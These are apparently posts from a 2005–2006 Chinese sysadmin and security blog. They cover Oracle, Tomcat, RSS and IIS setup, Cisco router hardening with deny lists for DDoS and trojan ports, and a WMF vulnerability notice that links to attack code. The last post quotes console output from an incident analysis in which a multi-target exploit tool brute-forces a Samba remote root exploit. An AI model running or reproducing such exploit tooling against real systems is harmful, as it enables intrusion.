Services Summary...
dbnms has 1 service handler(s)
The command completed successfully

$ ll -h
total 2.1G
-rw-rw-r-- 1 oracle oracle 1 Feb 20 16:01 listener.log
-rw-rw-r-- 1 oracle oracle 2.1G Feb 20 15:59 listener.old
-rw-rw-r-- 1 oracle oracle 89k Dec 26 08:56 sqlnet.log


Cause
~~~~~~~

OS has the limitation of 2GB file system.
Listener.log was going above 2GB

Fix
~~~~

rename the listener.log to listener.old and restart the listener

References
~~~~~~~~~~~

Note:222111.1-Starting Listener Gives TNS-12547

Posted by vitter at 2006-02-20 16:45:38 | 评论 (1) | 引用

February 10, 2006

安装 Planet rss 新闻聚集器


一、下载:
http://www.planetplanet.org/planet-nightly.tar.bz2

二、解压到 Web 服务器所在目录下
tar xjf planet-nightly.tar.bz2
cd planet-nightly
mv examples rss

三、根据需要编辑 rss/config.ini 和 rss/index.html.tmpl
或者可以参考 examples/fancy 下的文件。

# Planet configuration file
#
# This illustrates some of Planet's fancier features with example.

# Every planet needs a [Planet] section
[Planet]
# name: Your planet's name
# link: Link to the main page
# owner_name: Your name
# owner_email: Your e-mail address
name = Planet Chinese Security Community
link = http://planet.vfocus.net/
owner_name = Vitter Cheung
owner_email = vitter@gmail.com

# cache_directory: Where cached feeds are stored
# new_feed_items: Number of items to take from new feeds
# log_level: One of DEBUG, INFO, WARNING, ERROR or CRITICAL
cache_directory = cache
new_feed_items = 2
log_level = DEBUG

# template_files: Space-separated list of output template files
template_files = rss/index.html.tmpl rss/atom.xml.tmpl rss/rss20.xml.tmpl rss/rss10.xml.tmpl rss/opml.xml.tmpl rss/foafroll.xml.tmpl

# The following provide defaults for each template:
# output_dir: Directory to place output files
# items_per_page: How many items to put on each page
# days_per_page: How many complete days of posts to put on each page
# This is the absolute, hard limit (over the item limit)
# date_format: strftime format for the default 'date' template variable
# new_date_format: strftime format for the 'new_date' template variable
# encoding: output encoding for the file, Python 2.3+ users can use the
# special "xml" value to output ASCII with XML character references
# locale: locale to use for (e.g.) strings in dates, default is taken from your
# system
output_dir = output
items_per_page = 60
days_per_page = 0
date_format = %B %d, %Y %I:%M %p
new_date_format = %B %d, %Y
encoding = utf-8
# locale = C


# To define a different value for a particular template you may create
# a section with the same name as the template file's filename (as given
# in template_files).

# Provide no more than 7 days articles on the front page
[rss/index.html.tmpl]
days_per_page = 7


# Options placed in the [DEFAULT] section provide defaults for the feed
# sections. Placing a default here means you only need to override the
# special cases later.
[DEFAULT]
# Hackergotchi default size.
# If we want to put a face alongside a feed, and it's this size, we
# can omit these variables.

#facewidth = 65
#faceheight = 85


# Any other section defines a feed to subscribe to. The section title
# (in the []s) is the URI of the feed itself. A section can also be
# have any of the following options:
#
# name: Name of the feed (defaults to the title found in the feed)
#
# Additionally any other option placed here will be available in
# the template (prefixed with channel_ for the Items loop). We use
# this trick to make the faces work -- this isn't something Planet
# "natively" knows about. Look at fancy-examples/index.html.tmpl
# for the flip-side of this.

[http://www.vfocus.net/blog/index.rdf]
name = Vitter's Blog
# pick up the default facewidth and faceheight

[http://blog.xfocus.net/rss.php?blogId=12&profile=rss20]
name = alert7

[http://blog.donews.com/allyesno/Rss.aspx]
name = allyesno


四、运行:
python planet.py rss/config.ini
并根据需要写入 crontab


五、进入浏览器:浏览 /planet-nightly/output/ 目录

Posted by vitter at 2006-02-10 20:03:51 | 评论 (0) | 引用

Cisco路由器的安全配置简易方案

一.路由器访问控制的安全配置

1.严格控制可以访问路由器的管理员。任何一次维护都需要记录备案。

2.建议不要远程访问路由器。即使需要远程访问路由器,建议使用访问控制列表和高强度的密码控制。

3.严格控制CON端口的访问。具体的措施有:

A.如果可以开机箱的,则可以切断与CON口互联的物理线路。

B.可以改变默认的连接属性,例如修改波特率(默认是96000,可以改为其他的)。

C.配合使用访问控制列表控制对CON口的访问。

如:Router(Config)#Access-list 1 permit 192.168.0.1
Router(Config)#line con 0
Router(Config-line)#Transport input none
Router(Config-line)#Login local
Router(Config-line)#Exec-timeoute 5 0
Router(Config-line)#access-class 1 in
Router(Config-line)#end

D.给CON口设置高强度的密码。

4.如果不使用AUX端口,则禁止这个端口。默认是未被启用。禁止如:

Router(Config)#line aux 0
Router(Config-line)#transport input none
Router(Config-line)#no exec

5.建议采用权限分级策略。如:

Router(Config)#username BluShin privilege 10 G00dPa55w0rd
Router(Config)#privilege EXEC level 10 telnet
Router(Config)#privilege EXEC level 10 show ip access-list

6.为特权模式的进入设置强壮的密码。不要采用enable password设置密码。而要采用enable secret命令设置。并且要启用Service password-encryption。

7.控制对VTY的访问。如果不需要远程访问则禁止它。如果需要则一定要设置强壮的密码。由于VTY在网络的传输过程中为加密,所以需要对其进行严格的控制。如:设置强壮的密码;控制连接的并发数目;采用访问列表严格控制访问的地址;可以采用AAA设置用户的访问控制等。

8.IOS的升级和备份,以及配置文件的备份建议使用FTP代替TFTP。如:

Router(Config)#ip ftp username BluShin
Router(Config)#ip ftp password 4tppa55w0rd
Router#copy startup-config ftp:

9.及时的升级和修补IOS软件。

二.路由器网络服务安全配置


1.禁止CDP(Cisco Discovery Protocol)。如:

Router(Config)#no cdp run
Router(Config-if)# no cdp enable

2.禁止其他的TCP、UDP Small服务。

Router(Config)# no service tcp-small-servers
Router(Config)# no service udp-samll-servers

3.禁止Finger服务。

Router(Config)# no ip finger
Router(Config)# no service finger

4.建议禁止HTTP服务。

Router(Config)# no ip http server

如果启用了HTTP服务则需要对其进行安全配置:设置用户名和密码;采用访问列表进行控制。如:

Router(Config)# username BluShin privilege 10 G00dPa55w0rd
Router(Config)# ip http auth local
Router(Config)# no access-list 10
Router(Config)# access-list 10 permit 192.168.0.1
Router(Config)# access-list 10 deny any
Router(Config)# ip http access-class 10
Router(Config)# ip http server
Router(Config)# exit

5.禁止BOOTp服务。

Router(Config)# no ip bootp server

禁止从网络启动和自动从网络下载初始配置文件。

Router(Config)# no boot network

Router(Config)# no servic config

6.禁止IP Source Routing。

Router(Config)# no ip source-route

7.建议如果不需要ARP-Proxy服务则禁止它,路由器默认识开启的。

Router(Config)# no ip proxy-arp

Router(Config-if)# no ip proxy-arp

8.明确的禁止IP Directed Broadcast。

Router(Config)# no ip directed-broadcast

9.禁止IP Classless。

Router(Config)# no ip classless

10.禁止ICMP协议的IP Unreachables,Redirects,Mask Replies。

Router(Config-if)# no ip unreacheables
Router(Config-if)# no ip redirects
Router(Config-if)# no ip mask-reply

11.建议禁止SNMP协议服务。在禁止时必须删除一些SNMP服务的默认配置。或者需要访问列表来过滤。如:

Router(Config)# no snmp-server community public Ro
Router(Config)# no snmp-server community admin RW
Router(Config)# no access-list 70
Router(Config)# access-list 70 deny any
Router(Config)# snmp-server community MoreHardPublic Ro 70
Router(Config)# no snmp-server enable traps
Router(Config)# no snmp-server system-shutdown
Router(Config)# no snmp-server trap-anth
Router(Config)# no snmp-server
Router(Config)# end

12.如果没必要则禁止WINS和DNS服务。

Router(Config)# no ip domain-lookup

如果需要则需要配置:

Router(Config)# hostname Router

Router(Config)# ip name-server 202.102.134.96

13.明确禁止不使用的端口。

Router(Config)# interface eth0/3

Router(Config)# shutdown

三.路由器路由协议安全配置

1.首先禁止默认启用的ARP-Proxy,它容易引起路由表的混乱。

Router(Config)# no ip proxy-arp 或者

Router(Config-if)# no ip proxy-arp

2.启用OSPF路由协议的认证。默认的OSPF认证密码是明文传输的,建议启用MD5认证。并设置一定强度密钥(key,相对的路由器必须有相同的Key)。

Router(Config)# router ospf 100
Router(Config-router)# network 192.168.100.0 0.0.0.255 area 100
! 启用MD5认证。
! area area-id authentication 启用认证,是明文密码认证。
!area area-id authentication message-digest
Router(Config-router)# area 100 authentication message-digest
Router(Config)# exit
Router(Config)# interface eth0/1
!启用MD5密钥Key为routerospfkey。
!ip ospf authentication-key key 启用认证密钥,但会是明文传输。
!ip ospf message-digest-key key-id(1-255) md5 key
Router(Config-if)# ip ospf message-digest-key 1 md5 routerospfkey

3.RIP协议的认证。只有RIP-V2支持,RIP-1不支持。建议启用RIP-V2。并且采用MD5认证。普通认证同样是明文传输的。

Router(Config)# config terminal
! 启用设置密钥链
Router(Config)# key chain mykeychainname
Router(Config-keychain)# key 1
!设置密钥字串
Router(Config-leychain-key)# key-string MyFirstKeyString
Router(Config-keyschain)# key 2
Router(Config-keychain-key)# key-string MySecondKeyString
!启用RIP-V2
Router(Config)# router rip
Router(Config-router)# version 2
Router(Config-router)# network 192.168.100.0
Router(Config)# interface eth0/1
! 采用MD5模式认证,并选择已配置的密钥链
Router(Config-if)# ip rip authentication mode md5
Router(Config-if)# ip rip anthentication key-chain mykeychainname

4.启用passive-interface命令可以禁用一些不需要接收和转发路由信息的端口。建议对于不需要路由的端口,启用passive-interface。但是,在RIP协议是只是禁止转发路由信息,并没有禁止接收。在OSPF协议中是禁止转发和接收路由信息。

! Rip中,禁止端口0/3转发路由信息
Router(Config)# router Rip
Router(Config-router)# passive-interface eth0/3
!OSPF中,禁止端口0/3接收和转发路由信息
Router(Config)# router ospf 100
Router(Config-router)# passive-interface eth0/3

5.启用访问列表过滤一些垃圾和恶意路由信息,控制网络的垃圾信息流。

Router(Config)# access-list 10 deny 192.168.1.0 0.0.0.255
Router(Config)# access-list 10 permit any
! 禁止路由器接收更新192.168.1.0网络的路由信息
Router(Config)# router ospf 100
Router(Config-router)# distribute-list 10 in
!禁止路由器转发传播192.168.1.0网络的路由信息
Router(Config)# router ospf 100
Router(Config-router)# distribute-list 10 out

6.建议启用IP Unicast Reverse-Path Verification。它能够检查源IP地址的准确性,从而可以防止一定的IP Spooling。但是它只能在启用CEF(Cisco Express Forwarding)的路由器上使用。

Router# config t
! 启用CEF
Router(Config)# ip cef
!启用Unicast Reverse-Path Verification
Router(Config)# interface eth0/1
Router(Config)# ip verify unicast reverse-path

四.路由器其他安全配置

1.及时的升级IOS软件,并且要迅速的为IOS安装补丁。

2.要严格认真的为IOS作安全备份。

3.要为路由器的配置文件作安全备份。

4.购买UPS设备,或者至少要有冗余电源。

5.要有完备的路由器的安全访问和维护记录日志。

6.要严格设置登录Banner。必须包含非授权用户禁止登录的字样。

7.IP欺骗得简单防护。如过滤非公有地址访问内部网络。过滤自己内部网络地址;回环地址(127.0.0.0/8);RFC1918私有地址;DHCP自定义地址(169.254.0.0/16);科学文档作者测试用地址(192.0.2.0/24);不用的组播地址(224.0.0.0/4);SUN公司的古老的测试地址(20.20.20.0/24;204.152.64.0/23);全网络地址(0.0.0.0/8)。

Router(Config)# access-list 100 deny ip 192.168.0.0 0.0.0.255 any log
Router(Config)# access-list 100 deny ip 127.0.0.0 0.255.255.255 any log
Router(Config)# access-list 100 deny ip 192.168.0.0 0.0.255.255 any log
Router(Config)# access-list 100 deny ip 172.16.0.0 0.15.255.255 any log
Router(Config)# access-list 100 deny ip 10.0.0.0 0.255.255.255 any log
Router(Config)# access-list 100 deny ip 169.254.0.0 0.0.255.255 any log
Router(Config)# access-list 100 deny ip 192.0.2.0 0.0.0.255 any log
Router(Config)# access-list 100 deny ip 224.0.0.0 15.255.255.255 any
Router(Config)# access-list 100 deny ip 20.20.20.0 0.0.0.255 any log
Router(Config)# access-list 100 deny ip 204.152.64.0 0.0.2.255 any log
Router(Config)# access-list 100 deny ip 0.0.0.0 0.255.255.255 any log

8.建议采用访问列表控制流出内部网络的地址必须是属于内部网络的。如:

Router(Config)# no access-list 101
Router(Config)# access-list 101 permit ip 192.168.0.0 0.0.0.255 any
Router(Config)# access-list 101 deny ip any any log
Router(Config)# interface eth 0/1
Router(Config-if)# description “internet Ethernet”
Router(Config-if)# ip address 192.168.0.254 255.255.255.0
Router(Config-if)# ip access-group 101 in

9.TCP SYN的防范。如:

A: 通过访问列表防范。
Router(Config)# no access-list 106
Router(Config)# access-list 106 permit tcp any 192.168.0.0 0.0.0.255 established
Router(Config)# access-list 106 deny ip any any log
Router(Config)# interface eth 0/2
Router(Config-if)# description “external Ethernet”
Router(Config-if)# ip address 192.168.1.254 255.255.255.0
Router(Config-if)# ip access-group 106 in
B:通过TCP截获防范。(这会给路由器产生一定负载)
Router(Config)# ip tcp intercept list 107
Router(Config)# access-list 107 permit tcp any 192.168.0.0 0.0.0.255
Router(Config)# access-list 107 deny ip any any log
Router(Config)# interface eth0
Router(Config)# ip access-group 107 in

10.LAND.C 进攻的防范。

Router(Config)# access-list 107 deny ip host 192.168.1.254 host 192.168.1.254 log
Router(Config)# access-list permit ip any any
Router(Config)# interface eth 0/2
Router(Config-if)# ip address 192.168.1.254 255.255.255.0
Router(Config-if)# ip access-group 107 in

11.Smurf进攻的防范。

Router(Config)# access-list 108 deny ip any host 192.168.1.255 log

Router(Config)# access-list 108 deny ip any host 192.168.1.0 log

12.ICMP协议的安全配置。对于进入ICMP流,我们要禁止ICMP协议的ECHO、Redirect、Mask request。也需要禁止TraceRoute命令的探测。对于流出的ICMP流,我们可以允许ECHO、Parameter Problem、Packet too big。还有TraceRoute命令的使用。

! outbound ICMP Control
Router(Config)# access-list 110 deny icmp any any echo log
Router(Config)# access-list 110 deny icmp any any redirect log
Router(Config)# access-list 110 deny icmp any any mask-request log
Router(Config)# access-list 110 permit icmp any any
! Inbound ICMP Control
Router(Config)# access-list 111 permit icmp any any echo
Router(Config)# access-list 111 permit icmp any any Parameter-problem
Router(Config)# access-list 111 permit icmp any any packet-too-big
Router(Config)# access-list 111 permit icmp any any source-quench
Router(Config)# access-list 111 deny icmp any any log
! Outbound TraceRoute Control
Router(Config)# access-list 112 deny udp any any range 33400 34400
! Inbound TraceRoute Control
Router(Config)# access-list 112 permit udp any any range 33400 34400

13.DDoS(Distributed Denial of Service)的防范。

! The TRINOO DDoS system
Router(Config)# access-list 113 deny tcp any any eq 27665 log
Router(Config)# access-list 113 deny udp any any eq 31335 log
Router(Config)# access-list 113 deny udp any any eq 27444 log
! The Stacheldtraht DDoS system
Router(Config)# access-list 113 deny tcp any any eq 16660 log
Router(Config)# access-list 113 deny tcp any any eq 65000 log
! The TrinityV3 System
Router(Config)# access-list 113 deny tcp any any eq 33270 log
Router(Config)# access-list 113 deny tcp any any eq 39168 log
! The SubSeven DDoS system and some Variants
Router(Config)# access-list 113 deny tcp any any range 6711 6712 log
Router(Config)# access-list 113 deny tcp any any eq 6776 log
Router(Config)# access-list 113 deny tcp any any eq 6669 log
Router(Config)# access-list 113 deny tcp any any eq 2222 log
Router(Config)# access-list 113 deny tcp any any eq 7000 log

14.建议启用SSH,废弃掉Telnet。但只有支持并带有IPSec特征集的IOS才支持SSH。并且IOS12.0-IOS12.2仅支持SSH-V1。如下配置SSH服务的例子:

Router(Config)# config t
Router(Config)# no access-list 22
Router(Config)# access-list 22 permit 192.168.0.22
Router(Config)# access-list deny any
Router(Config)# username BluShin privilege 10 G00dPa55w0rd
! 设置SSH的超时间隔和尝试登录次数
Router(Config)# ip ssh timeout 90
Router(Config)# ip ssh anthentication-retries 2
Router(Config)# line vty 0 4
Router(Config-line)# access-class 22 in
Router(Config-line)# transport input ssh
Router(Config-line)# login local
Router(Config-line)# exit
!启用SSH服务,生成RSA密钥对。
Router(Config)# crypto key generate rsa
The name for the keys will be: router.blushin.org
Choose the size of the key modulus in the range of 360 to 2048 for your General
Purpose keys .Choosing a key modulus greater than 512 may take a few minutes.
How many bits in the modulus[512]: 2048
Generating RSA Keys...
[OK]
Router(Config)#

Posted by vitter at 2006-02-10 14:15:54 | 评论 (0) | 引用

关于ASP无组件上传在2003下出错问题解决办法

问题描述:

asp无组件上传程序无法上传较大的文件“Request 对象 错误 ASP 0104 : 80004005”,(大概大于100kb就不行了)而在windows 2000 server中可以上传5m左右的文件。

解决方法:

在IIS属性中选中“允许直接编辑配置数据库”,然后。在服务里关闭iis admin service服务找到WINDOWS\system32\inetsrv下的metabase.xml编辑其中的AspMaxRequestEntityAllowed把他修改为需要的值,默认为204800,即200K把它修改为51200000(50M)或者更大。然后重启iis admin service服务

亦可使用Metabase Explorer,参考:
http://www.microsoft.com/downloads/details.aspx?FamilyId=56FC92EE-A71A-4C73-B628-ADE629C89499

适用:

windows 2003 IIS 6.0

Posted by vitter at 2006-02-10 12:38:44 | 评论 (0) | 引用

January 16, 2006

在 RHEL3 上安装 Oracle 10g

一、 硬件配置

CPU:4个Intel(R) Xeon(TM) MP CPU 2.70GHz
Mem:8G
Swap:16G
Disk:120G RAID 5

二、 针对Oracle配置Linux

1. 验证系统要求(以root用户执行相应命令)
uname -r # 所需内核版本:2.4.21-4.EL(或更高版本)
rpm -q gcc make binutils openmotif setarch compat-gcc \
compat-gcc-c++ compat-libstdc++ compat-libstdc++-devel compat-db
# 所需程序包版本:
gcc-3.2.3-2
make-3.79
binutils-2.11
openmotif-2.2.2-16
setarch-1.3-1
compat-gcc-7.3-2.96.122
compat-gcc-c++-7.3-2.96.122
compat-libstdc++-7.3-2.96.122
compat-libstdc++-devel-7.3-2.96.122
compat-db-4.0.14.5
grep MemTotal /proc/meminfo
grep SwapTotal /proc/meminfo
# 检查内存与交换区,所需最小 RAM 为 512MB,而所需最小交换空间为 1GB
df -h
# 检查磁盘空间,所需最小空间为 4.1G
cat /etc/hosts
# 检查主机的域名解析,除127.0.0.1外,还要有主机IP hostname条目
2. 创建Oracle组和用户账号(以root用户执行相应命令)
/usr/sbin/groupadd oinstall # 建立安装组
/usr/sbin/groupadd dba # 建立DBA组
/usr/sbin/useradd -m -g oinstall -G dba oracle # 建立Oracle用户账号
passwd oracle # 设置Oracle 账号口令
3. 创建目录(以root用户执行相应命令)
mkdir -p /u01/app/oracle # Home Dir
mkdir -p /u02/oradata # Data Dir
chown -R oracle:oinstall /u01/app/oracle /u02/oradata
chmod -R 775 /u01/app/oracle /u02/oradata
4. 配置Linux内核参数(以root用户执行相应命令)
cat >> /etc/sysctl.conf < kernel.shmall = 2097152
kernel.shmmax = 2147483648
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
fs.file-max = 65536
net.ipv4.ip_local_port_range = 1024 65000
EOF
/sbin/sysctl -p
5. 为Oracle用户设置Shell限制(以root用户执行相应命令)
cat >> /etc/profile < if [ \$USER = "oracle" ]; then
if [ \$SHELL = "/bin/ksh" ]; then
ulimit -p 16384
ulimit -n 65536
else
ulimit -u 16384 -n 65536
fi
umask 022
fi
EOF

cat >> /etc/csh.login < if ( \$USER == "oracle" ) then
limit maxproc 16384
limit descriptors 65536
umask 022
endif
EOF

6. Oracle用户的环境变量(以Oracle用户执行相应命令)
编辑/home/oracle/.bash_profile文件,添加如下内容:
ORACLE_BASE=/u01/app/oracle; export ORACLE_BASE
ORACLE_SID=sfssgbk; export ORACLE_SID
ORACLE_HOME=$ORACLE_BASE/product/10.1.0/Db_1; export ORACLE_HOME
export PATH=$ORACLE_HOME/bin:$PATH:
export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/usr/lib
DISPLAY=219.239.13.29:0.0; export DISPLAY
NLS_LANG=american_america.ZHS16CGB231280; export NLS_LANG
其中DISPLAY安装时Oracle所用的X-Server的IP地址
cd /home/oracle
. .bash_profile # 使环境变量生效

三、 安装Oracle(以Oracle用户执行相应命令)

cd /home/oracle
mkdir 10g_db
cd 10g_db
gunzip ship.db.cpio.gz
cpio -idmv < ship.db.cpio
cd $HOME/10g_db/Disk1
./runInstaller
# 需要在X环境下执行runInstaller
# 按照提示步骤执行,不选择安装开始数据库

四、 建立数据库(以Oracle用户执行相应命令)

dbca
# 需要在X环境下执行dbca
# 在建立数据库过程中注意SGA和字符集的设置
# dbnms数据库的字符集为ZHS16GBK
# 配置大SGA(超过1.7G)需执行下面的操作:
1.如果有数据库正在运行,关闭所有的数据库及其服务。
2.识别Oracle用户使用的 shell PID
% echo $$
3.用root用户开启另外一个session
% echo 268435456 > /proc/$pid/mapped_base
# $pid是Oracle 用户session的PID
# 268435456是0x10000000的十进制数
echo 3000000000 > /proc/sys/kernel/shmmax
# 修改shmmax的值
4.用Oracle用户执行以下操作
% cd $ORACLE_HOME/rdbms/lib
% cp ksms.o ksms.o_orig # 备份ksms.o文件
% genksms -s 0x15000000 > ksms.s
% make -f ins_rdbms.mk ksms.o
% make -f ins_rdbms.mk ioracle

五、 启动监听器(以Oracle用户执行相应命令)

lsnrctl start

Posted by vitter at 2006-01-16 21:42:21 | 评论 (0) | 引用

January 04, 2006

新年刚开始就有紧急安全通告,上网要小心了!『重要通告』

Internet暴了一个还没有出补丁的漏洞--Windows GDI32.DLL WMF 渲染引擎代码执行漏洞,涉及Windows 2000,XP,2003,后缀为WMF的图像由系统的GDI32.dll解析,可以导致图像文件中的数据当作代码来执行,漏洞的通用性很强,可以构造出对各个版本windows系统都可以有效利用的代码,而且不仅仅是IE,对于Oprea、Firefox,最终还是会调用这个dll的PlayMetaFile()函数来处理,如果有人构造一个WMF放到网上,你的机器就有可能被控制,甚至部分看图软件也会受影响(如XNView)。

临时解决方案可以反注册 shimgvw.dll,在命令行里执行:
ASSOC .wmf=""
ASSOC .emf=""
regsvr32 -u %windir%\system32\shimgvw.dll

如果要恢复,只需输入:
ASSOC .wmf=wmffile
ASSOC .emf=emffile
regsvr32 %windir%\system32\shimgvw.dll

更多详情可以访问:http://www.vfocus.net/file/1828.html
攻击代码:http://www.vfocus.net/file/1823.html

Posted by vitter at 2006-01-04 14:17:25 | 评论 (0) | 引用

December 31, 2005

Windows下Tomcat 5_0_28安装配置(Tomcat+JDK+JDBC+SQLserver)

一、准备工作

在开始安装之前,先准备J2SDK和TOMCAT两个软件,如果已经安装了J2SDK,就只需TOMCAT即可。

使用的软件如下:

Windows 2000 Advance Server + SP4
J2SDK v1.4.2_04 - http://java.sun.com/j2se/1.4.2/download.html
TOMCAT v5.0.28 - http://apache.linuxforum.net/dist/jakarta/tomcat-5/v5.0.28/bin/jakarta-tomcat-5.0.28.exe

二、安装J2SDK

安装很简单,只需双击下载的文件,笔者选择安装在d:\java

设置环境变量,方法如下:

右击“我的电脑”==》属性==》高级==》环境变量==》新建...

变量名:JAVA_HOME
变量值:d:\Java

变量名:CLASSPATH
变量值:D:\Java\bin;.;D:\Java\lib;D:\Java\lib\dt.jar;D:\Java\lib\tools.jar

变量名:PATH
变量值:D:\Java;.;D:\Java\bin
(中间的点号“.”和分号“;”必不可少。)

三个环境变量设置好后,写一个简单的java程序来测试J2SDK是否已安装成功:

在D:\下新建一个目录test;然后写如下程序:
public class test {
public static void main(String args[]) {
System.out.println("This is a test program.");
}
}
将上面的这段程序保存为文件名为test.java的文件,保存在目录D:\test下。然后打开命令提示符窗口,cd到你的test目录,然后键入下面的命令

javac test.java
java test
此时如果看到打印出来This is a test program. 的话说明安装成功了,如果没有打印出这句话,你需要仔细检查一下你的配置情况。

三、安装TOMCAT

运行jakarta-tomcat-5.0.28.exe 按照提示安装,偶这里选择了Service,就是作为Windows服务来运行。

如果要改变安装路径,可以在这个步骤操作,偶这里选择安装在D:\Tomcat 5.0。

在这里设置TOMCAT使用的端口以及WEB管理界面用户名和密码,请确保该端口未被其他程序占用。

选择J2SDK的安装路径,安装程序会自动搜索,如果没有正确显示,则可以手工修改,偶这里改为d:\Java

接下来就开始拷贝文件了,成功安装后,程序会提示启动tomcat并查看readme文档。Tomcat正常启动后会在系统栏加载图标。

在图标上右键鼠标可以看到一些设置项目。

点击Configure...或者双击图标可看到如下显示,选择Startup type为automatic自动启动,这样每次开机后就会自动运行TOMCAT。另外也可在这个界面点击start或stop按钮来控制tomcat的运行。


安装完之后,设置环境变量:我的电脑---属性---高级---环境变量

变量名:CATALINA_HOME
变量值:D:\Tomcat 5.0

变量名:CATALINA_BASE
变量值:D:\Tomcat 5.0

变量名:CLASSPATH
变量值添加:Tomat安装目录下的common\lib下的servlet-api.jar

至此安装与配置都已完成,打开浏览器输入:http://localhost:8080即可看到TOMCAT的相关信息。

四、安装JSP访问SQL Server 2000的驱动程序JDBC:

从微软的网站上下载驱动程序:SQL Server 2000 For JDBC 驱动程序,setup安装,默认目录:C:\Program Files\Microsoft SQL Server 2000 Driver for JDBC
然后必须将安装目录中的lib目录下三个jar文件:msbase.jar,mssqlserver.jar,msutil.jar拷贝到Tomcat目录下common\lib目录下,之后,修改环境变量中的CLASSPATH,把SQL Server 2000 For JDBC 驱动程序安装目录下的这3个jar文件追加到CLASSPATH中去。
变量名:CLASSPATH
变量值:C:\Program Files\Microsoft SQL Server 2000 Driver for JDBC\lib\msbase.jar;C:\Program Files\Microsoft SQL Server 2000 Driver for JDBC\lib\mssqlserver.jar;C:\Program Files\Microsoft SQL Server 2000 Driver for JDBC\lib\msutil.jar
必须重新启动Tomcat!这样做的目的是,jsp页面在编译过程中不会出现找不到sql server driver类库的问题。

写一个简单的用来测试连接SQL Server 2000的JSP代码:

<%@ page import="java.lang.*, java.io.*, java.sql.*, java.util.*"%>
<%@ page contentType="text/html;charset=gb2312" %>
<html>
<body>
<% Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver").newInstance();
String url="jdbc:microsoft:sqlserver://127.0.0.1:1433;DatabaseName=pubs";
//pubs 为你的数据库的
String user="sa";
String password="xxxxxx";
Connection conn= DriverManager.getConnection(url,user,password);
Statement
stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select job_id,job_desc from jobs";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) { %>
您的第一个字段内容为:<%=rs.getString(1)%><br>
您的第二个字段内容为:<%=rs.getString(2)%><br>
<% } %>
<% out.print("数据库操作成功,恭喜你"); %>
<% rs.close();
stmt.close();
conn.close();
%>
</body>
</html>


将上面的JSP代码保存为sql_test.jsp,放在/Root目录下。在地址中输入:http://localhost:8080/sql_test.jsp,如果全部配置成功的话,将显示如下:
您的第一个字段内容为:1
您的第二个字段内容为:New Hire - Job not specified
您的第一个字段内容为:2
您的第二个字段内容为:Chief Executive Officer
您的第一个字段内容为:3
您的第二个字段内容为:Business Operations Manager
您的第一个字段内容为:4
您的第二个字段内容为:Chief Financial Officier
您的第一个字段内容为:5
您的第二个字段内容为:Publisher
您的第一个字段内容为:6
您的第二个字段内容为:Managing Editor
您的第一个字段内容为:7
您的第二个字段内容为:Marketing Manager
您的第一个字段内容为:8
您的第二个字段内容为:Public Relations Manager
您的第一个字段内容为:9
您的第二个字段内容为:Acquisitions Manager
您的第一个字段内容为:10
您的第二个字段内容为:Productions Manager
您的第一个字段内容为:11
您的第二个字段内容为:Operations Manager
您的第一个字段内容为:12
您的第二个字段内容为:Editor
您的第一个字段内容为:13
您的第二个字段内容为:Sales Representative
您的第一个字段内容为:14
您的第二个字段内容为:Designer
数据库操作成功,恭喜你  

五、备注
由于偶将TOMCAT作为service方式安装,所以CATALINA_HOME环境变量也没设过,如果读者不是按照这种方式请设置一个系统环境变量,设置方法同J2SDK。
变量名:CATALINA_HOME
变量值:d:\Tomcat 5.0
另外可再增加一个环境变量
变量名:CLASSPATH
变量值:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tool.jar;%JAVA_HOME%\lib\tools.jar;%CATALINA_HOME%\common\lib\servlet-api.jar
也是因为service安装的原因,笔者在执行一些程序的时候会出现如下错误信息:
Unable to find a javac compiler; com.sun.tools.javac.Main is not on the classpath. Perhaps JAVA_HOME does not point to the JDK
错误信息是没有设置过JAVA_HOME环境变量,读者也可能碰到过这个问题,明明设置过这个环境变量,在服务里启动就会出错,但是在命令行下输入D:\Tomcat 5.0\bin\startup.bat启动却能运行,笔者找了一下原因,原来在服务里启动没有读取JAVA_HOME这个环境变量,而是在配置里定义这个环境变量的,于是偶在Java Options里加入了一句:-Djava.home=d:\java,再次启动TOMCAT就OK了,参照下图:


Posted by vitter at 2005-12-31 14:43:56 | 评论 (0) | 引用

December 23, 2005

*nix下溢出获取root的感想

今天看到篇文章:《默认Samba版本在RedHat 9上的溢出获取root演示》

从近日对被黑服务器的安全分析来看,我找到该用户提升权限的工具。他是利用了Samba的安全漏洞提升为了ROOT。
这几天服务器因为要放到公网测试,此时又安装了Samba服务器。结果第二天就发现了服务器被黑
Samba是在Redhat Linux 9上默认的版本。使用了该黑客的强大的exploit工具提升为了root。
提升为root,只需要短短的3秒钟
自己汗一个
从服务器的tmp查找到一个x2k3的目录

[bob@learnin9 tmp]$ cd x2k3/
[bob@learnin9 x2k3]$ ls
bind ftp gkr identd r00t samba
[bob@learnin9 x2k3]$

bind ftp gkr identd samba均为目录,r00t为一个程序,让我们来看看r00t程序的执行情况

[bob@learnin9 x2k3]$ ./r00t
.--------------------------------.
| x2k3 /
| Written by Natok /
+------------------------+----.
| Targets: [1] Samba | <= 2.2.8
| [2] Bind | 8.3.2 / 8.3.3 / 9.2.1
| [3] gkrellmd | <2.1.12
| [4] wu_ftpd | <=2.6.1
| [5] identd | 1.2
+------------------------+----.
| http://www.natok.de /
|____________________________/

./r00t
[bob@learnin9 x2k3]$ ./r00t 127.0.0.1 1

Range to scan : 127.0.0.0
Socket Connecting to port : 139
Press control+c for skipping ! Port 139 IP 127.0.0.0 -> Connection refused!
Port 139 IP 127.0.0.1 -> Connection ok!
[+] Let's sploit ;-)
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Using ret: [0xbffffc7c]
+ Using ret: [0xbffffb50]
+ Using ret: [0xbffffa24]
+ Using ret: [0xbffff8f8]
+ Using ret: [0xbffff7cc]
+ Using ret: [0xbffff6a0]
+ Using ret: [0xbffff574]
+ Using ret: [0xbffff448]
+ Using ret: [0xbffff31c]
+ Using ret: [0xbffff1f0]
+ Using ret: [0xbffff0c4]
+ Using ret: [0xbfffef98]
+ Using ret: [0xbfffee6c]
+ Using ret: [0xbfffed40]
+ Using ret: [0xbfffec14]
